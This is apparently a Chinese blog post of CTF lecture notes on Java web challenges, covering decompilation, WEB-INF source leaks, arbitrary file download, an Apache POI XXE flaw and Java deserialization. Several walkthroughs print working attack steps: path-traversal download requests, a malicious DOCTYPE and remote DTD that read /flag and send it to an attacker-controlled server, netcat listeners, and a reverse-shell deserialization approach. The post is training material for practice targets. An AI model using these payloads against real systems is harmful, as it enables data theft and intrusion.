85:CTF夺旗-JAVA考点反编译&XXE&反序列化
思维导图
Java常考点及出题思路
考点技术:xxe,spel表达式,反序列化,文件安全,最新框架插件漏洞等
设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式
CTF中常见Web源码泄露总结(参考:https://www.cnblogs.com/xishaonian/p/7628153.html)
- .ng源码泄露
- git源码泄露
- .Ds_store文件泄漏
- 网站备份压缩文件
- SVN导致文件泄露
- WEB-INF/web. xml泄露
- CVS泄漏
Java必备知识点
反编译,基础的Java代码认知及审计能力,熟悉相关最新的漏洞,常见漏洞等
本课重点:
- 案例1:Java简单逆向解密-Reverse-buuoj-逆向源码
- 案例2:RoarCTF-2019-easy_java-配置到源码
- 案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码
- 案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计
案例1:Java简单逆向解密-Reverse-buuoj-逆向源码
靶场地址:https://buuoj.cn/challenges#Java逆向解密
知识点:java项目格式解析,加解密脚本等
下载提示文件-class反编译Java文件-加密算法-解密脚本
<1>下载附件,将源码用idea打开,分析加密算法,得知加密算法时是将原始key先加64再异或32得到加密后的key,如下图所示。
<2>自己编写一个解密算法,将加密后的key先异或32再减64,得到原始key。
案例2:RoarCTF-2019-easy_java-配置到源码
靶场地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java
知识点:下载漏洞利用,配置文件解析,Javaweb项目结构等
提示-下载漏洞-更换请求方法-获取源码配置文件-指向Flag-下载class-反编译
WEB-INF主要包含以下文件或目录:
- /WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:包含了站点所有用的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接查看或下载class文件,再通过反编译class文件,得到网站源码
<1>进入场景,是个登录框
<2>点击help,显示如下,url为/Download?filename=help.docx,猜测有任意文件下载漏洞。
<3>尝试下载/WEB-INF/web.xml文件,失败。
<4>改为post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)。
<5>根据web.xml内容,找到与Flag相关class,尝试下载,下载成功
1 | POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class |
<6>反编译class文件,得到网站源码,找到base64编码后的flag。
<7>经过base64解码,得到flag。
案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码
https://xz.aliyun.com/t/7272 一篇文章读懂Java代码审计之XXE
https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部实体(XML External Entity,XXE)攻击详解
https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常见的XXE漏洞写法和防御
https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型场景分析
靶场地址:https://www.ctfhub.com/#/challenge 搜索FileJava
过关思路:
JavaWeb程序,编译class格式,配置文件获取文件路径信息,IDEA打开查看
../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
代码审计Javaweb代码,发现flag位置,文件下载获取?过滤,利用漏洞XXE安全
<1>页面打开如下,是一个文件上传功能。
<2>随便上传一个文件,发现返回一个文件下载链接。
<3>点击文件下载,看到请求包格式,猜测有任意文件下载漏洞。
<4>构造filename值,尝试下载/WEB-INF/web.xml文件,下载成功
<5>根据/WEB-INF/web.xml文件内容,找到class文件,全部下载
1 2 3 | filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class |
<6>idea反编译class文件,得到网站源码,分析源码,发现文件下载时过滤flag关键字,因此不能在此处直接下载flag文件。
<7>继续分析源码,找到poi-ooxml-3.10,该版本存在XXE漏洞(CVE-2014-3529)
<8>构造上传文件
(a)本地新建excel-aaa.xlsx文件,修改后缀名.zip,打开压缩包,其中有[Content-Types].xml文件。
(b)修改[Content-Types].xml,第二行添加如下内容,保存。
1 2 3 4 | <! DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://远程服务器IP:3333/xxx.dtd"> %remote;%int;%send; ]> |
(c)将修改后的压缩包重新修改后缀为.xlsx文件
<9>构造远程监控
(a)进入远程服务器WEB根目录,创建文件xxx.dtd,添加内容
1 2 | <! ENTITY % file SYSTEM "file:///flag"> <! ENTITY % int "<!ENTITY % send SYSTEM '远程服务器IP:3333/%file;'>"> |
(b)启动监控 :nc -lvvp 3333
<10>一切准备就绪,上传excel-aaa.xlsx文件
<11>查看nc监听结果,得到flag
案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计
靶场地址:https://www.ctfhub.com/\#/challenge
解题思路:
- 注入判断,获取管理员帐号密码
- /swagger-ui.html接口测试,回显序列化token(rO0AB开头)
- SerializationDumper工具生成反序列化payload(反弹shell)-->base64编码-->最终payload
- 使用该payload访问接口/common/user/current
- 启动监听,获取flag:nc -lvvp 4444
具体解题步骤参考:38:WEB漏洞-反序列化之PHP&JAVA全解(下)(https://www.cnblogs.com/zhengna/p/15737517.html)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通